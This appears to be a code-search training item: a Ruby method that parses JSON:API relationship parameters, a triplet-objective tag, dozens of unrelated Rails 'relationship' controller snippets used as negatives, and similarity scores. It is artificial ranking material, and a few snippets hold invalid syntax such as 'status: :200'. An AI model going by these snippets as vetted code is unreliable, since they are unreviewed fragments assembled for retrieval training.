def jsonapi_received_relationships # Relationship definitions for current model rels = jsonapi_relationships # Consider only current relationship for relationship actions # (params[:relationship] contains the relationship name) if params[:relationship] rels.select! do |rel| rel[:name].to_sym == params[:relationship].to_sym end # If no relationship is received, then return the definition only if request.method == "GET" return rels.collect do |rel| {definition: rel} end end end rels.collect do |relationship| begin received_params = nil # Relationship action if params[:relationship] received_params = params.permit({ data: [ :type, :id ] }) # Object action else received_params = params.require( :data ).require( :relationships ).require( relationship[:name] ).permit({ data: [ :type, :id ] }) end # => {"data"=>{"type"=>"users", "id"=>1}} # sample value for a to-one association # => {"data"=>[{"type"=>"properties", "id"=>1}, {"type"=>"properties", "id"=>2}]} # sample value for a to-many association # is received data conformant to the database schema? conformant = true loop do # to-many if received_params[:data].kind_of? Array if relationship[:type] != :to_many conformant = false break end received_params[:data].each do |item| next if item[:type].to_sym == relationship[:receiver][:type] conformant = false break end break end # to-one if relationship[:type] != :to_one conformant = false break end conformant = false unless received_params[:data][:type].to_sym == relationship[:receiver][:type] break end next unless conformant { definition: relationship, params: received_params } rescue ActionController::ParameterMissing => e # nil assignment to to-one relationship? if relationship[:type] == :to_one begin if params[:relationship] # relationship action received_params = params.permit( :data ) else received_params = params.require( :data ).require( :relationships ).require( relationship[:name] ).permit( :data ) end # received nil? next if received_params[:data] # TODO: should return error to client? next { definition: relationship, params: received_params } rescue ActionController::ParameterMissing => e end end nil end end.compact end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def relationship_params\n params[:relationship]\n end", "def relationship_params\n params.require(:relationship).permit(:follower_user_id, :followed_act_id)\n end", "def relationship_params\n params.require(:relationship).permit(:follower_id, :followed_id)\n end", "def relationship_params\n params.require(:relationship).permit(:follower_id, :followed_id)\n end", "def relationship_params\n params.require(:relationship).permit(:follower_id, :followed_id)\n end", "def relationship_params\n params.require(:relationship).permit(:follower_id, :followed_id)\n end", "def set_relationship\n #find relationship\n @relationship = Relationship.find_by_id(params[:id])\n end", "def relationship_params\n params.require(:relationship).permit(:followed_id)\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def set_relationship\n @relationship = Relationship.find(params[:id])\n end", "def relationship_params\n params.require(:relationship).permit(:character_id, :relative_id, :relation_type)\n end", "def relationship_aux(action, opts)\n\n if action != \"destroy\"\n\n data = LibXML::XML::Parser.string(request.raw_post).parse\n\n subject = parse_element(data, :resource, '/relationship/subject')\n predicate = parse_element(data, :resource, '/relationship/predicate')\n objekt = parse_element(data, :resource, '/relationship/object')\n context = parse_element(data, :resource, '/relationship/context')\n end\n\n # Obtain object\n\n case action\n when 'create';\n return rest_response(401, :reason => \"Not authorised to create a relationship\") unless Authorization.check('create', Relationship, opts[:user], context)\n ob = Relationship.new(:user => opts[:user])\n when 'view', 'edit', 'destroy';\n ob, error = obtain_rest_resource('Relationship', opts[:query]['id'], opts[:query]['version'], opts[:user], action)\n else\n raise \"Invalid action '#{action}'\"\n end\n\n return error if ob.nil? # appropriate rest response already given\n\n if action == \"destroy\"\n\n ob.destroy\n\n else\n\n # build it\n\n ob.subject = subject if subject\n ob.predicate = predicate if predicate\n ob.objekt = objekt if objekt\n ob.context = context if context\n\n if not ob.save\n return rest_response(400, :object => ob)\n end\n end\n\n rest_get_request(ob, opts[:user], { \"id\" => ob.id.to_s })\nend", "def wx_relationship_params\n params[:wx_relationship]\n end", "def relationship_params\n params.require(:relationship).permit(:donor_id, :target, :link_description)\n end", "def delete\n @relationship = Relationship.find(params[:relationship_id])\n end", "def relationship_params\n params.require(:relationship).permit(:country_id, :friend_id, :score)\n end", "def actions_relationship\n manager_id = params[:data]\n user_id = params[:user_id]\n message = params[:message]\n\n if message.eql?\"edit\"\n @user = User.find(user_id)\n respond_to do |format|\n if @user.update_attributes(team_leader_id: manager_id)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity}\n end\n end\n elsif message.eql?\"remove\"\n @user = User.find(user_id)\n respond_to do |format|\n if @user.update_attributes(team_leader_id: nil)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity}\n end\n end\n end\n end", "def relationship_params\n params.require(:relationship).permit( :following_id, :created_at, :updated_at)\n end", "def update\n respond_to do |format|\n if @relationship.update(relationship_params)\n format.html { redirect_to @relationship, notice: 'Relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @relationship }\n else\n format.html { render :edit }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @relationship.update(relationship_params)\n format.html { redirect_to @relationship, notice: 'Relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @relationship }\n else\n format.html { render :edit }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @relationship.update(relationship_params)\n format.html { redirect_to @relationship, notice: 'Relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @relationship }\n else\n format.html { render :edit }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def relationship=(value)\n @relationship = value\n end", "def show\n @relationship = Relationship.find(params[:id])\n end", "def relationship\n response[\"relationship\"]\n end", "def create\n @relationship = @character.relationships.new(params[:relationship])\n \n respond_to do |format|\n if @relationship.save\n format.html { redirect_to([@character,@relationship], :notice => 'Relationship was successfully created.') }\n format.xml { render :xml => @relationship, :status => :created, :location => @relationship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @relationship.errors, :status => :unprocessable_entity }\n end\n end\n end", "def tag_relationship_params\n params[:tag_relationship]\n end", "def update\n respond_to do |format|\n if @relationship.update(relationship_params)\n format.html { redirect_to @relationship, notice: 'Relationship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @relationship.errors, status: :200 }\n end\n end\n end", "def user_relationship_params\n params.require(:user_relationship).permit(:follower_id, :following_id)\n end", "def create\n @relationships = Relationship.paginate(:page => params[:page], :per_page => 30).order('updated_at DESC')\n @relationship = Relationship.create(params[:relationship])\n end", "def create\n @relationship = current_user.relationships.build(relationship_params)\n\n respond_to do |format|\n if @relationship.save\n format.html { redirect_to @relationship, notice: 'Relationship was successfully created.' }\n format.json { render :show, status: :created, location: @relationship }\n else\n format.html { render :new }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @relationship.update(relationship_params)\n redirect_to edit_character_relationships_path(@character.name), notice: 'Relationship was successfully updated.'\n else\n render action: 'edit'\n end\n end", "def create\n @relationship = Relationship.new(relationship_params)\n\n respond_to do |format|\n if @relationship.save\n format.html { redirect_to @relationship, notice: 'Relationship was successfully created.' }\n format.json { render :show, status: :created, location: @relationship }\n else\n format.html { render :new }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @relationship = Relationship.new(relationship_params)\n\n respond_to do |format|\n if @relationship.save\n format.html { redirect_to @relationship, notice: 'Relationship was successfully created.' }\n format.json { render action: 'show', status: :created, location: @relationship }\n else\n format.html { render action: 'new' }\n format.json { render json: @relationship.errors, status: :200 }\n end\n end\n end", "def update\n @relationship = @character.relationships.find_by_permalink!(params[:id])\n\n respond_to do |format|\n if @relationship.update_attributes(params[:relationship])\n format.html { redirect_to([@character,@relationship], :notice => 'Relationship was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @relationship.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_relationship_to_participant\n relationship_code = params[:relationship_code]\n if @participant && relationship_code\n ParticipantPersonLink.create(:participant => @participant, :person => @person,\n :relationship_code => params[:relationship_code])\n end\n end", "def update\n @relationship = Relationship.find(params[:id])\n\n respond_to do |format|\n if @relationship.update_attributes(params[:relationship])\n format.html { redirect_to @relationship, notice: 'Relationship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @relationship = Relationship.find(params[:id])\n @relationship.update_attributes(params[:relationship])\n @relationships = Relationship.paginate(:page => params[:page], :per_page => 30).order('updated_at DESC')\n end", "def set_relationship_status\n @relationship_status = RelationshipStatus.find(params[:id])\n end", "def update\n relationship = Relationships.find(params[:id])\n if relationship.update(relationship_params)\n render json: relationship, status: 200\n else\n render json: { errors: relationship.errors }, status: 422\n end\n end", "def show\n @relationship = Relationship.new\nend", "def relationship\n relationship? ? children[1] : nil\n end", "def relationship\n return @relationship\n end", "def index\n unless params[:user_id].blank?\n @user_relationships = UserRelationship.where(follower_id: params[:user_id])\n else\n @user_relationships = UserRelationship.all\n end\n end", "def relationship(user) # \n return :self if user.id == id # TODO will I use this value?\n friendship_association = Friendship.where(\"(initiator_id = :own_id AND recipient_id = :other_id) OR (initiator_id = :other_id AND recipient_id = :own_id)\", own_id: id, other_id: user.id)\n if friendship_association.empty?\n return nil\n else\n friendship_association.first\n end\n end", "def user_relationship\n if request.xhr?\n organization_id = params[\"organization_id\"]\n per_page = params[:iDisplayLength] || Settings.per_page\n page = params[:iDisplayStart] ? ((params[:iDisplayStart].to_i/per_page.to_i) + 1) : 1\n params[:iSortCol_0] = 1 if params[:iSortCol_0].blank?\n sort_field = SORT_MAP_RELATIONSHIP[params[:iSortCol_0].to_i]\n # @users = User.get_all_users_except_id(current_user.id, page, per_page, params[:sSearch], sort_field + \" \" + params[:sSortDir_0],organization_id)\n @users = User.get_user_to_relationship(page, per_page, params[:sSearch], sort_field + \" \" + params[:sSortDir_0])\n render :json => @users\n return\n end\n end", "def show\n @relationship = Relationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relationship }\n end\n end", "def relationship(user)\n Following.where(:follower_id => self, :followed_id => user).first.try(:relationship)||\"none\"\n end", "def create\n @user_relationship = UserRelationship.new(user_relationship_params)\n\n respond_to do |format|\n if @user_relationship.save\n format.html { redirect_to @user_relationship, notice: 'User relationship was successfully created.' }\n format.json { render :show, status: :created, location: @user_relationship }\n else\n format.html { render :new }\n format.json { render json: @user_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @relationship = @character.relationships.find_by_permalink!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relationship }\n end\n end", "def update\n respond_to do |format|\n if @user_relationship.update(user_relationship_params)\n format.html { redirect_to @user_relationship, notice: 'User relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_relationship }\n else\n format.html { render :edit }\n format.json { render json: @user_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @relationship = Relationship.find(params[:id])\n begin\n save_result = @relationship.update_attributes(params[:relationship])\n rescue Exception => e\n set_errors(e)\n save_result = false\n end\n respond_to do |format|\n if save_result\n flash[:notice] = 'Relationship was successfully updated.'\n format.html { redirect_to(@relationship) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @relationship.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_user_relationship\n @user_relationship = UserRelationship.find(params[:id])\n end", "def get_relationship(other_user)\n\tif other_user.present?\n\t\tRelationship.where(\"follower_id = :follower_id and followed_id = :followed_id or follower_id = :followed_id and followed_id = :follower_id\", {follower_id: other_user.id, followed_id: self.id})[0]\n\tend\n end", "def add_relationship(rel_attr); end", "def create\n relationship = Relationship.new(\n sender_id: current_user.id,\n recipient_id: params[:recipient_id]\n )\n if relationship.save\n render json: relationship\n else\n render json: { errors: relationship.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def get_source_relationship(options)\n options[:relationship]&.to_sym || @request.resource_klass._type\n end", "def get_relationship_by_id id\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n get_request 'relationship/' + id, headers\n end", "def destroy\n @relationship.destroy\n respond_to do |format|\n format.html { redirect_to @relationship.followed, notice: \"No longer following #{@relationship.followed.name}.\" }\n format.json { head :no_content }\n format.js\n end\n end", "def show_relationship(source_record:, related_record:)\n ::Pundit.authorize(user, source_record, 'show?')\n ::Pundit.authorize(user, related_record, 'show?') unless related_record.nil?\n end", "def relation_params\n params.require(:relation).permit(:user_id, :friend_id)\n end", "def initialize(relationship=\"relationship\", *args)\n @relationship = relationship\n super\n end", "def updatestatus\n\n # other user\n @relationship = Relationship.find(params[:id])\n status = params[:relationship][:status]\n \n # create relationship\n if current_user.id == @relationship.follower_id \n\n @relationship.status = status\n @relationship.save\n @user = User.find(@relationship.followed_id)\n if status == \"FOLLOWING\" || status == \"REQUEST\"\n @user.update_attributes!(:notify => \"YES\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json=> { \n :user=>@user.as_json(:only => [:id, :name, :tender, :invitation_token, :notify, :privateprofile], :methods => [:photo_url],\n :include => { \n :drinks => { :only => [:id, :name] },\n :workvenues => { :only => [:id, :fs_venue_id, :name] }\n }\n ) \n } }\n end\n end\n end", "def create\n options = params[:relationship]\n relationship_type = RelationshipType.find(options[:relationship_type_id])\n options[:item_type] = relationship_type.item_type.name\n @relationship = Relationship.new(options)\n begin\n save_result = @relationship.save\n rescue Exception => e\n set_errors(e)\n save_result = false\n end\n respond_to do |format|\n if save_result\n flash[:notice] = 'Relationship was successfully created.'\n format.html { redirect_to(@relationship) }\n format.xml { render :xml => @relationship, :status => :created, :location => @relationship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @relationship.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @relationship.save\n format.html { redirect_to @relationship.followed, notice: \"Now following #{@relationship.followed.name}.\" }\n format.json { render :index, status: :created, location: @relationship }\n format.js\n else\n format.html { render :index }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def check_relationships\n \n if params[:entity_id] and params[:id]\n render :json => report_errors(nil,\"Relation[#{params[:id]}] does not belong to Entity[#{params[:entity_id]}]\")[0],\n :status => 400 and return false if !related_to_each_other?(:entity => params[:entity_id], :relation => params[:id])\n end\n \n if params[:database_id] and params[:entity_id]\n render :json => report_errors(nil,\"Entity[#{params[:entity_id]}] does not belongs to Database[#{params[:database_id]}]\")[0],\n :status => 400 and return false if !related_to_each_other?(:database => params[:database_id], :entity => params[:entity_id])\n end\n \n begin\n belongs_to_user?(session['user'], \n :entity => params[:entity_id],\n :relation => params[:id])\n rescue MadbException => e\n render :json => report_errors(nil, e)[0], :status => 400 and return false\n end\n \n # In all other cases, its ok\n return true;\n \n end", "def create\n #debugger\n @resto = Restaurant.find(params[:relationship][:restaurant_id])\n current_user.follow!(@resto)\n #debugger\n #respond_with @resto\n redirect_to @resto\n end", "def set_family_relationship\n @family_relationship = FamilyRelationship.find(params[:id])\n end", "def friend_request(other_user)\n\tif other_user.present?\n\t\trelationship = get_relationship(other_user)\n\t\t\n\t\tif !relationship\n\t\t\trelationships.create(followed_id: other_user.id, friend_status: 'PENDING', follow1: false, follow2: false)\n\t\tend\n\tend\n end", "def find_relationship(other_user)\n requested_friend = Relationship.where(requester_id: self.id).where(receiver_id: other_user.id)\n requested_friend.any? ? requested_friend : Relationship.where(requester_id: other_user.id).where(receiver_id: self.id)\n end", "def one_relationship(name)\n end", "def show\n @relationship = Relationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relationship }\n end\n end", "def create\n @relationship = @character.relationships.build(relative_id: params[:relative_id], relation_type: params[:relation_type])\n if @relationship.save\n redirect_to @character, notice: 'Relationship was successfully created.'\n else\n render action: 'new'\n end\n end", "def follow\r\n @relationship = Relationship.create(follower_id: current_user.id, followed_id: params[:followed_id])\r\n @relationship.create_activity key: 'relationship.follow', owner: current_user, recipient: User.find(params[:followed_id])\r\n\r\n if @relationship.save\r\n render json: @relationship\r\n else\r\n render json: { error: \"Relationship creating error\" }, status: :unprocessable_entity\r\n end\r\n end", "def show\n @dependent_relationship = DependentRelationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dependent_relationship }\n end\n end", "def set_customer_relationship\n @customer_relationship = CustomerRelationship.find(params[:id])\n end", "def customer_relationship_params\n params.require(:customer_relationship).permit(:business_model_canvase_id, :name, :description, :updated_by)\n end", "def destroy\n @relationships = Relationship.paginate(:page => params[:page], :per_page => 30).order('updated_at DESC')\n @relationship = Relationship.find(params[:id])\n @error = nil\n\n begin\n @relationship.destroy\n rescue ActiveRecord::DeleteRestrictionError => e\n @error = e.message\n end\n end", "def records_for_relationship(owner, permitted_params, relationship_name, relationship_data)\n if relationship_data[:data].is_a?(Array)\n relationship_data[:data].map do |relationship_data_item|\n ref = record_for_relationship(owner, relationship_name, relationship_data_item)\n\n if ref && contains_constructable_data?(relationship_data_item)\n assign_record_attributes(ref, permitted_params, relationship_data_item, parent_relationship_name: relationship_name)\n end\n\n ref\n end\n elsif relationship_data[:data].present?\n ref = record_for_relationship(owner, relationship_name, relationship_data[:data])\n\n if ref && contains_constructable_data?(relationship_data[:data])\n assign_record_attributes(ref, permitted_params, relationship_data[:data], parent_relationship_name: relationship_name)\n end\n\n ref\n else\n raise Error.new(\n field: \"/data/relationships/#{relationship_name}/data\",\n code: :blank\n )\n end\n end", "def update\n @dependent_relationship = DependentRelationship.find(params[:id])\n\n respond_to do |format|\n if @dependent_relationship.update_attributes(params[:dependent_relationship])\n format.html { redirect_to @dependent_relationship, notice: 'Dependent relationship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dependent_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_relationship user_id\n url = API + \"users/#{user_id}/relationship?access_token=\" + @access_token\n get(url)\n end", "def replace_to_one_relationship(source_record:, new_related_record:, relationship_type:)\n relationship_method = \"replace_#{relationship_type}?\"\n authorize_relationship_operation(\n source_record: source_record,\n relationship_method: relationship_method,\n related_record_or_records: new_related_record\n )\n end", "def destroy\n @relationship = Relationship.find(params[:id])\n @relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to(relationships_url) }\n format.xml { head :ok }\n end\n end", "def related\n request('related')\n end", "def new\n @relationship = @character.relationships.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relationship }\n end\n end", "def destroy\n current_user.end_friendship!(@relationship.friend)\n respond_to do |format|\n format.html { redirect_to relationships_url }\n end\n end", "def create\n @campaign_user_relationship = CampaignUserRelationship.new(params[:campaign_user_relationship])\n\n respond_to do |format|\n if @campaign_user_relationship.save\n format.html { redirect_to @campaign_user_relationship.campaign, notice: \"You're now pledging $#{@campaign_user_relationship.amount_per_mile} per mile.\" }\n format.json { render json: @campaign_user_relationship, status: :created, location: @campaign_user_relationship }\n else\n format.html { \n if request.env[\"HTTP_REFERER\"].nil?\n redirect_to campaigns_path\n else\n redirect_to :back\n end\n }\n format.json { render json: @campaign_user_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @biological_relationship.update(biological_relationship_params)\n format.html { redirect_to @biological_relationship, notice: 'Biological relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @biological_relationship }\n else\n format.html { render :edit }\n format.json { render json: @biological_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @relationship = @character.relationships.find_by_permalink!(params[:id])\n @relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to(character_relationships_url(@character)) }\n format.xml { head :ok }\n end\n end", "def create\n @dependent_relationship = DependentRelationship.new(params[:dependent_relationship])\n\n respond_to do |format|\n if @dependent_relationship.save\n format.html { redirect_to @dependent_relationship, notice: 'Dependent relationship was successfully created.' }\n format.json { render json: @dependent_relationship, status: :created, location: @dependent_relationship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dependent_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @agency_relationship = AgencyRelationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def update\n @comment_relationship = CommentRelationship.find(params[:id])\n\n respond_to do |format|\n if @comment_relationship.update_attributes(params[:comment_relationship])\n format.html { redirect_to @comment_relationship, notice: 'Comment relationship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comment_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\tif params[:indicator_type_id] && !params[:indicator_type_id].empty?\n\t\t\t@event_indicator_relationships = EventIndicatorRelationship.where(:event_id => params[:id],\n\t\t\t\t\t:indicator_type_id => params[:indicator_type_id])\n\t\telsif params[:core_indicator_id] && !params[:core_indicator_id].empty?\n\t\t\t@event_indicator_relationships = EventIndicatorRelationship.where(:event_id => params[:id],\n\t\t\t\t\t:core_indicator_id => params[:core_indicator_id])\n\t\telse\n\t\t\tredirect_to event_indicator_relationships_path, notice: 'Please provide all parameters to edit a record.'\n\t\tend\n\n respond_to do |format|\n\t\t\terror_msgs = []\n\t\t\tEventIndicatorRelationship.transaction do\n # update existing records\n\t\t\t\t@event_indicator_relationships.each do |relationship|\n\t\t\t\t\tvalues = nil\n\t\t\t\t\t# look for the form data for this relationship\n\t\t\t\t\tif params[:event_indicator_relationship]\n\t\t\t\t\t\tparams[:event_indicator_relationship].each_value do |v|\n\t\t\t\t\t\t\tif v[\"id\"].to_s == relationship.id.to_s\n\t\t\t\t\t\t\t\tvalues = v\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif values.nil?\nlogger.debug \"++++++++++ no form data for this relationship, deleting id #{relationship.id}\"\n\t\t\t\t\t\t# could not find relationship so it was deleted\n\t\t\t\t\t\tEventIndicatorRelationship.delete(relationship.id)\n\t\t\t\t\telsif !relationship.update_attributes(values)\n\t\t\t\t\t\t# error saving the relationship\n\t\t\t\t\t\traise ActiveRecord::Rollback\nlogger.debug \"++++++++++ error = relationship.errors.inspect\"\n\t\t\t\t\t\terror_msgs << relationship.errors.message\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\n # add new records\n\t\t\t\tif params[:event_indicator_relationship]\n\t\t\t\t\tparams[:event_indicator_relationship].each_value do |v|\n\t\t\t\t\t\tif v[\"id\"].nil? || v[\"id\"].empty? &&\n\t\t\t\t\t\t\t ((!v[\"related_core_indicator_id\"].nil? && !v[\"related_core_indicator_id\"].empty?) ||\n\t\t\t\t\t\t\t (!v[\"related_indicator_type_id\"].nil? && !v[\"related_indicator_type_id\"].empty?))\n\t\t\t\t\t\t\trelationship = EventIndicatorRelationship.new(v)\n\t\t\t\t\t\t\trelationship.event_id = params[:id]\n\t\t\t\t\t\t\trelationship.core_indicator_id = params[:core_indicator_id] if !params[:core_indicator_id].empty?\n\t\t\t\t\t\t\trelationship.indicator_type_id = params[:indicator_type_id] if !params[:indicator_type_id].empty?\n\t\t if !relationship.save\n\t\t\t\t\t\t\t\t# error saving the relationship\n\t\t\t\t\t\t\t\traise ActiveRecord::Rollback\n\tlogger.debug \"++++++++++ error = relationship.errors.inspect\"\n\t\t\t\t\t\t\t\terror_msgs << relationship.errors.message\n\t\t end\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\tend\n if error_msgs.empty?\n\t\t\t\tmsg = I18n.t('app.msgs.success_updated', :obj => I18n.t('app.common.event_custom_view'))\n\t\t\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n format.html { redirect_to admin_event_indicator_relationship_path(params[:id]), notice: msg }\n format.json { head :ok }\n else\n load_form_variables\n format.html { render action: \"edit\" }\n format.json { render json: error_msgs, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @relationship = @assembly.relationships.find(params[:id])\n child = @relationship.child\n child.used = false\n child.save\n @relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to [@plan, @assembly], notice: 'Relationship was deleted.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.75603294", "0.70107824", "0.678224", "0.67798114", "0.67798114", "0.67798114", "0.66909665", "0.66202605", "0.65832037", "0.65832037", "0.65832037", "0.65832037", "0.65832037", "0.65832037", "0.65832037", "0.65832037", "0.65832037", "0.65055776", "0.6470891", "0.64123213", "0.6411878", "0.63846713", "0.6306417", "0.63003", "0.6292039", "0.6291397", "0.6291397", "0.6291397", "0.620116", "0.61744994", "0.6170179", "0.6166555", "0.61639476", "0.61609197", "0.61099386", "0.6074598", "0.6014019", "0.60114485", "0.60030365", "0.599864", "0.5953594", "0.59473085", "0.59404707", "0.59264517", "0.5901793", "0.58997184", "0.58957624", "0.5876348", "0.58713186", "0.58470577", "0.5833337", "0.58283556", "0.5806948", "0.579417", "0.57787836", "0.57781833", "0.5765353", "0.5752105", "0.57477367", "0.5730752", "0.5718478", "0.5706543", "0.56909186", "0.56889206", "0.56848687", "0.56842697", "0.5676656", "0.5670888", "0.5668455", "0.5667339", "0.56512153", "0.5635641", "0.5628573", "0.562657", "0.5625055", "0.56176716", "0.5614482", "0.5612926", "0.5602892", "0.5597542", "0.5595992", "0.55945736", "0.55943805", "0.55914915", "0.5585531", "0.5573956", "0.55680835", "0.5565733", "0.5557008", "0.555477", "0.55514765", "0.5549137", "0.5548386", "0.55451083", "0.55387306", "0.55381995", "0.55297726", "0.55174357", "0.55129164", "0.5512254" ]
0.5861861
49
handle_input function Function that Waits until the user inputs a valid object within the array. Checks to see if the user is choosing the last index or a dash, which can't be chosen The user also has to validate their answer, otherwise the arrow goes back to its previous position
def handle_input # last arrows allows the arrow to return to its last position last_arrows = "^ " not_chosen = true while not_chosen # display puts $coins puts $arrows puts "Enter the index you want to choose to swap with the dashes(You cannot choose the last index or the dashes): " # input and check validity index = gets.chomp.to_i if $coins[index] != "-" && $coins[index+1] != "-" && index<11 && index >>0 # call movecursor using the index move_cursor(index) puts $coins puts $arrows # confirm the answer puts "Type Y or y to confirm your move, otherwise hit any other key to reset your action" key = gets.chomp # if confirmed, change the position of the arrows, swap, and end the loop if key=="Y" || key=="y" last_arrows = $arrows swap(index) not_chosen= false # else reset the arrows, the user didn't choose the answer they want else $arrows = last_arrows end else puts "You cannot choose the last index or a dash" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def select_item #this gets the user input when a specific item in the list needs to be selected\n valid_option = false\n while valid_option == false\n item_num = Integer(gets) rescue false\n if item_num == false\n\t puts \"Please enter a valid option.\"\n \telsif item_num > 0 and $to_do_list[item_num - 1] != nil\n valid_option = true\n\telse\n\t puts \"Please enter a valid option.\"\n\tend\n end\n return item_num - 1\nend", "def initial_input\n # grabs the user's input and store it before passing it to the method\n input = gets.chomp\n index = input_to_index(input)\n\n if !index.between?(0,1)\n puts \"\\nPlease, select a number between 1 and 2\".colorize(:light_red)\n self.initial_input\n elsif index == 1\n goodbye\n exit\n end\n index\n end", "def prompt_for_move \n puts \"\\n\\n\\nMake your move. Or press ENTER/RETURN to end this round and declare a tie.\\n\\n\"\n \n goes_to_input_array = []\n \n until ((goes_to_input_array[0] =~ /[123]/) && (goes_to_input_array[1]) =~ /[123]/) != nil \n puts \"Please enter two integers between 1 and 3.\\n\\n\" \n\tprint \"> \"\n\tgoes_to_input_array = STDIN.gets.chomp.split(/[[:punct:]]* */)\n\tif goes_to_input_array == [] then return [nil] end \n end\n \n goes_to_input_array = [goes_to_input_array[0].to_i, goes_to_input_array[1].to_i]\n \n goes_to_input_array \n\nend", "def checkUserInput\r\n #initialize mainmenu selection characters array\r\n @mainMenuCharSelection = [\"c\",\"l\",\"u\",\"d\",\"e\"];\r\n #check user input for input validation\r\n if(@mainMenuCharSelection.include? @userInput.downcase)\r\n case @userInput.downcase\r\n when \"c\"\r\n result = BackEndLogic.create(politicians);\r\n \r\n politicians << result;\r\n when \"l\"\r\n BackEndLogic.list(politicians);\r\n when \"u\"\r\n BackEndLogic.update(politicians);\r\n when \"d\"\r\n result = BackEndLogic.remove(politicians);\r\n when \"e\"\r\n @ismainMenuLoop = false;\r\n else\r\n puts \"entry unkown! Try again! \\n\\n\"\r\n end\r\n else\r\n puts \"Please enter a valid choice from the menu options! You chose (#{@userInput}) \\n\\n\";\r\n end\r\n end", "def input\n valid = false\n\n # Loop until a valid input is entered\n until valid\n # Prompt for input\n print \"Enter your move > \"\n \n # Accept input from user\n user_input = gets.strip.to_s\n\n #Check to see if user quit... if so return\n if user_input == \"q\"\n @quit = true\n break;\n end\n\n #Otherwise split input string into an array\n input_array = user_input.split(\",\")\n\n # Strip any spaces or newlines from each piece\n input_array.each_index { |i| input_array[i] = input_array[i].strip.to_i }\n\n # Check input to make sure it is valid\n if input_array.size == 2 and input_array.all?{ |element| element.class == Fixnum }\n if input_array.all?{ |tower_no| tower_no > 0 and tower_no < 4 }\n valid = true\n return input_array\n else\n # message if player enters an invalid stack number\n puts \"Please enter only valid stack numbers (1, 2, or 3).\"\n end\n else\n # message if player enters in an incorrect format (resulting in the wrong number or type of arguments)\n puts \"Please enter your move in the format \\\"1,3\\\".\"\n end\n end\n #If loop reaches the end without returning, return nil (results in trying over from the beginning of the turn)\n return nil \n end", "def handle_input(choice)\n\n case choice\n when \"0\", \"00\", \"exit\"\n return choice\n when \"1\", \"show recent\"\n jobs = show_recent_jobs\n when \"2\", \"scrape more\"\n scrape_more_pages\n jobs = \"\"\n when \"3\", \"search\"\n jobs = find_jobs_by_term\n when 